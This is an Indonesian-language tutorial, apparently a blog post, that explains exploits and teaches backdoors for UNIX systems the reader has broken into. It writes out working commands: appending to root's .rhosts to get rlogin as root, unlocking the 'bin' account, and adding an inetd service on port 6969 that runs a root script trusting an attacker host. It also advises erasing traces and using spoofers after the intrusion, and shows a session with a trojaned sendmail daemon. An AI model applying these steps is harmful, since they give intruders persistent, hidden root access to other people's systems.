Eksploit, Trapdoor dan Backdoor Artikel ini ditujukan untuk memandu mereka yang masih bingung dengan terminologi sekuritas jaringan komputer seperti exploit, trojan, dan lain - lain, serta ingin mengetahui konsep - konsep dasarnya. Seperti biasa, ini hanyalah untuk tujuan INFORMASI saja, dan mungkin sysadmin yang membaca bisa menggunakan informasi ini untuk melindungi sistem dibawah pengawasan mereka. Artikel ini berisi metode backdoor/trapdoor dan kode - kode yang bisa langsung diterapkan, sebab kami ingin agar para netter/surfer mengetahui bagaimana * tepatnya * metode yang bersangkutan bekerja. Eksploit Sekarang tentunya netter/surfer sudah asyik bermain - main dan bereksperimen dengan shell UNIX baru yang baru 'didapatkan'. Dan mungkin sekarang sudah mulai bertanya - tanya,"Apa sih ekploit (exploit, `sploits) itu ?" Dalam konteks per-hacking-an, eksploit tidaklah jauh berbeda dengan artinya dalam konteks harfiah, yaitu 'pemanfaatan'. Tentunya eksploit - eksploit 'hacking' lebih spesifik lagi, yang kurang lebih bisa diartikan sebagai 'pemanfaatan kelemahan dari sebuah sistem untuk tujuan - tujuan yang diluar dari penggunaan normal'. Kelemahan - kelemahan ini bisa berupa kesalahan pemrograman, sesuatu yang tidak direncanakan oleh pemrogram asli, dan lain - lain. Umumnya, yang jelas paling menarik perhatian kita, adalah eksploit yang akan memberikan kita akses tidak terbatas ke seluruh aspek dari sebuah sistem. Dalam UNIX, sering kita dengar istilah 'mengeksploit program untuk mendapat privilese root'. Tentu saja mendapatkan 'root' bukanlah satu - satunya tujuan pengeksploitan sistem. Seperti yang mungkin netter/surfer alami sendiri, kadang sebuah cacat dalam program seperti maild atau ftpd bisa dimanfaatkan untuk tujuan 'header forging', 'ip spoofing', 'denial of service attack', dan 'mail bombing' (....buat Bang Anton Pardede, jangan |o| ya baca artikel ini ? [ :-)] ) Eksploit secara besar sering dibagi menjadi dua, yaitu eksploit lokal dan eksploit remote. Eksploit lokal adalah jenis eksploit yang hanya bisa dijalankan jika kamu sudah punya akses ke dalam suatu sistem (baik itu melalui login telnet, ftp, dll). Eksploit jenis ini jumlahnya banyak, sebab kamu sudah punya akses ke ribuan program yang berpotensi untuk di-eksploit. Contoh - contoh dari eksploit jenis ini adalah buffer overflow (i.e. mh di RedHat 5, SuperProbe, dll), race conditions (dimana dua proses saling berlomba untuk menyelesaikan tugas masing - masing, biasanya proses A disuruh untuk menjalankan suatu utilitas yang membutuhkan privilese root temporer sementara proses B dirancang untuk mencegat proses A sebelum proses A kembali statusnya ke privilese user biasa, mengakibatkan di-spawn-nya shell beridentitas root - sering terjadi di mesin - mesin IRIX dan SunOS). Bagaimana caranya untuk bisa mendapatkan eksploit seperti ini ? Tentu saja netter/surfer bisa menghabiskan waktu berjam - jam untuk mengutak - atik sebuah program sampai berhasil dijebol (lebih baik dilakukan di kotak sendiri), seperti para 'elite' lainnya. Biasanya eksploit diprogram dengan C, Perl, atau Sh. Namun kalau ilmu kungfu kamu masih kayak kami (dan memang bawaannya malas), banyak eksploit yang sudah didokumentasi dan tersedia melalui websearch, atau di situs - situs, seperti : http://www.rootshell.com http://www.antionline.com http://www.rhino9.com http://www.dhp.com/~fyodor Eksploit jenis satunya lagi adalah eksploit remote, dimana kamu bisa mengeksploit sistem tanpa mengetahui otorisasi user/password. Tentu saja eksploit - eksploit jenis ini jauh lebih sedikit jumlahnya, dan terkadang dampaknya juga tidak separah eksploit lokal. Lubang cgi phf adalah salah satu contoh dari pemanfaatan eksploit remote untuk mendapatkan file/etc/passwd (dulu LithErr pernah memberi resep cepat memanfaatkan phf) Mungkin belum terlihat fatal, namun sekalinya sang 'cracker' berhasil masuk ke dalam sistem memanfaatkan login dan password dari salah seorang user, maka dia bisa menjalankan eksploit - eksploit lokal untuk mendapatkan akses tak terbatas milik root. Eksploit port 143 (IMAPd) malahan lebih gila lagi, dengan memberikan akses root tanpa password. Apa trik dan tips yang kira - kira berguna untuk memanfaatkan eksploit - eksploit remote ? Jelas sebuah portscanner sangatlah bermanfaat untuk melihat port mana saja yang menerima koneksi. Beberapa jenis 'scanner' lebih terfokus lagi, seperti cgi scanner dari kecoak (roachscan) yang saat dijalankan akan memeriksa direktori cgi-bin dari sejumlah server sekaligus, mencari file password atau jalan masuk lainnya, melalui beberapa jenis eksploit umum. Satu program lain yang mungkin ada gunanya adalah 'netcat', bisa didapat dari http://www.l0pht.com. Untuk menghemat waktu, banyak cracker yang menulis skrip otomasi, jalankan skrip, tinggal berikan daftar target - target dan tinggalkan untuk sementara waktu. Kembali lagi sejam atau dua jam kemudian, tinggal diperiksa server - server mana saja yang ada lobangnya, bisa dieksploit atau tidak, dll (coba lihat artikel - artikel mengenai scanning/probing di situs - situs hacker lainnya). Terkadang ada juga eksploit yang tidak begitu jelas jenisnya, seperti eksploit lynx mailer, yang walaupun kodenya sendiri terletak di host lain, namun untuk digunakan masih perlu campur tangan dari user lokal untuk bisa bekerja (saat user mengklik sebuah link, sang eksploit akan mengirimkan file password ke alamat email tertentu). Backdoor Seperti terjemahan harfiahnya, backdoor bisa dianggap 'pintu masuk lewat belakang'. Backdoor berfungsi untuk memberikan sang programmer akses ke suatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentu saja sang programmer disini juga bisa diartikan 'sang penyusup'. Seringkali backdoor memberikan akses tak terbatas kepada siapapun juga yang mengetahui jalan masuknya. Walaupun tidak jarang vendor - vendor besar (baik hardware maupun software) yang sengaja menempatkan backdoor tak terdokumentasi untuk kemudahan 'maintenance' dan sejenisnya, dalam artikel ini yang dimaksud adalah backdoor dalam artian memberikan akses root ke dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan menyadari bahwa ada penyerang di dalam sistem. Kamu sudah semalaman begadang, mencoba eksploit - eksploit remote, dan berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera menjalankan eksploit - eksploit untuk mengambil alih kekuasaan root. Tentunya sayang jika saat sang sysadmin kembali bekerja di keesokan harinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satu atau lebih jalan masuk 'alternatif'. Jelas, sebagian besar teknik - teknik backdooring hanya bisa diterapkan jika kamu mempunyai perizinan root. Ingat, bahwa tujuan membuat backdoor bukanlah untuk mendapatkan akses root, tetapi untuk mendapatkan akses root LAGI setelah sang sysadmin mentutup segala jalan masuk normal. Terkadang sysadmin sering menganggap selama file - file /etc/hosts.deny telah dikonfigurasi, maka segala koneksi dari host kamu akan ditolak. Tentu saja kalian - kalian, sang cracker, kelihaian kung fu-nya jauh di atas sang sysadmin, sebab tanpa sepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatif dengan privilese root. Nah, backdoor - backdoor ini ada yang memang sudah dari sononya (seperti backdoor di router - router, printserver, dll buatan 3Com), namun disini akan dijelaskan cara membuat backdoor sendiri di sebuah sistem UNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah dengan melalui file /.rhosts:korban# echo "account" >> /.rhosts perintah tadi akan menambah satu entri di file .rhosts (sistem luar dalam contoh di atas user yang boleh mengakses account tanpa password), dan untuk masuk kembali ke sistem dari account : nama@axaxxa> rlogin -l root korban.lemaisp.net.id poof! shell root tanpa password! Untuk kalian yang ingin sekali lebih tersembunyi lagi, coba perhatikan entri berikut dari file /etc/passwd sebuah sistem : bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false Tentunya bagi mereka yang sering memanen password entri seperti diatas sudah tidak asing lagi. Account diatas adalah account yang digunakan oleh UNIX sistem secara internal. Seringkali banyak diantara crackers yang mengambil jalan singkat dan menghapus karakter *, mengakibatkan telnet dengan nama login "bin" tidak memerlukan password. Tapi ingatlah bahwa file /etc/passwd biasanya adalah file pertama yang akan diperiksa oleh sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar kita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di home directory milik bin. Kembali ke entri file password diatas, bisa kita lihat bahwa walaupun kita bisa me- rlogin -l bin korban.lameisp.net.id, namun kita masih juga tidak bisa mendapatkan shell sebab account 'bin' dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masalah ini tentunya dengan membuat link dari /bin/false ke /bin/sh atau /bin/tcsh. Apa daya seorang sysadmin ? Tentunya jika mereka memang keren kungfu nya, sang sysadmin akan men-setup sebuah skrip yang memeriksa keberadaan file - file .rhosts di dalam sebuah sistem. Tak lupa merubah entri dari account - account internal dari /bin/false ke /enggak-ada-tuh atau string unik lainnya yang bukan merupakan nama file. Metode backdooring lain adalah dengan memanfaatkan "in.rootd" (sebenarnya ini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, enggak ada yang namanya root daemon - tapi metode ini benar - benar cocok disebut rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat salah satu port yang didefinisikan dalam "inetd" : root@korban# echo "ntcp 6969/tcp # Network Traffic Control Protocol" >> /etc/services root@korban# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >> /etc/inetd.conf root@korban# echo "echo indohack2.ri.go.id > ~root/.rhosts" > /tmp/crax0r menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem yang cukup dahsyat, namun tidak akan segera tampak. Penjelasan dari ketiga perintah diatas : 1. Mengaktifkan protokol ntcp di port 6969 (tentunya memilih nomor port lain yang tidak begitu mencurigakan, silahkan pilih mulai dari 1024 sampai 65000-an), sedangkan "Network Traffic Control Protoco" adalah karangan sendiri sebab setiap service harus punya nama, dan biasanya sysadmin tidak akan begitu curiga dengan nama seperti itu. 2. Memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r setiap kali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya mengeksekusi sebuah shell berprivilese root lewat cara ini hanya akan mengakibatkan sang sistem bengong, sebab kita tidak bisa memberikan perintah - perintah selayaknya kita login lewat jalur normal. Sang shell akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita. Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamu lebih pintar dan memilih nama yang tidak begitu mencurigakan seperti /tmp/dev001 ) 3. Nah, perintah ke tiga inilah yang akan dieksekusi oleh sang shell yang baru saja kita luncurkan (id=0 - root!). Tentunya pembaca bisa saja menulis skrip yang lebih kompleks. Namun untuk menghemat tempat, kita lancarkan saja perintah yang sudah dibahas di atas, yaitu menambahkan entri dari mesin host kita ke file .rhosts milik root. Tentu jika sang admin memang keren kungfu-nya, rlogin akan dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika pembaca memeriksa isi direktori dan file "history" milik root dan isinya menunjukkan bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas akan memberikan jalan masuk lewat belakang ke dalam sistem target. Sekarang tinggal : xxxxxxxxxxxx@indohack2> telnet korban.lameisp.net.id 6969 Nah, sistem akan tersambung ke sistem target lewat port 6969, sedangkan daemon inet di mesin korban akan menerima sambungan tersebut, menjalankan perintah dalam skrip /tmp/crax0r dgn privilese root, dan dengan segera menutup kembali sambungan telnet. Sekarang .rhosts milik root sudah ditambahi satu entri lagi, yaitu nama host. Untuk kembali menggarap sistem target (sebaiknya dilakukan saat itu juga, sebab sang sysadmin mungkin akan curiga melihat skrip asing dijalankan lewat port 6969) kamu tinggal : xxxxxxxxxxxxx@indohack2> rlogin -l root korban.lameisp.net.id dan BOOM! korban# Tapi ingatlah untuk segera menghapus file .rhosts dan jejak - jejak lain. Tentunya kalau kungfu netter/surfer memang sudah cukup tinggi, teknik menyembunyikan diri dan antideteksi sudah bukan barang asing, jadi, jangan lupa aktifkan segal spoofer program. Jika netter/surfer benar - benar suka mengutak - utik, serang bisa dibuat dengan lebih tersembunyi lagi, seperti dengan memanfaatkan service - service yang jarang (hampir tidak pernah dipakai) seperti utilitas - utilitas X, segala utilitas berkepala "r", dan banyak lagi. Metode lain yang cukup populer adalah dengan membuat sebuah file dengan bit SUID tambahan, namun cara ini gampang terdeteksi jika kebetulan sistem mempunyai program audit keamanan yang akan mensensus seluruh file berbit SUID yang terletak diluar lokasi - lokasi wajar (seperti /tmp atau lokasi homedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatu program yang sudah berjalan/terinstall secara default, seperti xterm dan splitvt, sehingga sebuah option rootshell akan secara otomatis excv("/bin/sh", "sh", NULL);. Kalau kamu memang ahlinya, netter/surfer bisa modifikasi daemon - daemon yang sedang berjalan untuk menerima perintah - perintah hasil karangan sendiri. Berikut adalah sedikit cuplikan dari metode milik hacker nagageni 212 yang telah berhasil memodifikasi program sendmail di server korban.com (PASM=Pukulan Sinar Matahari): 212@GG> telnet korban.com 25 Trying mesin.korban.com ... Connected to mesin.korban.com. Escape character is '^]'. 220 mesin.korban.com ESMTP Sendmail 8.8.5/8.8.5; ...[snip] ... PASM_EXEC /bin/cp /bin/sh /tmp/elit Done ... master! Jika menurut netter/surfer cuplikan diatas sudah cukup familiar, maka kami dengan segala kerendahan hati minta izin untuk berguru !! (bLaCkApRiL)
black april
Subscribe to:
Posts (Atom)
No comments:
Post a Comment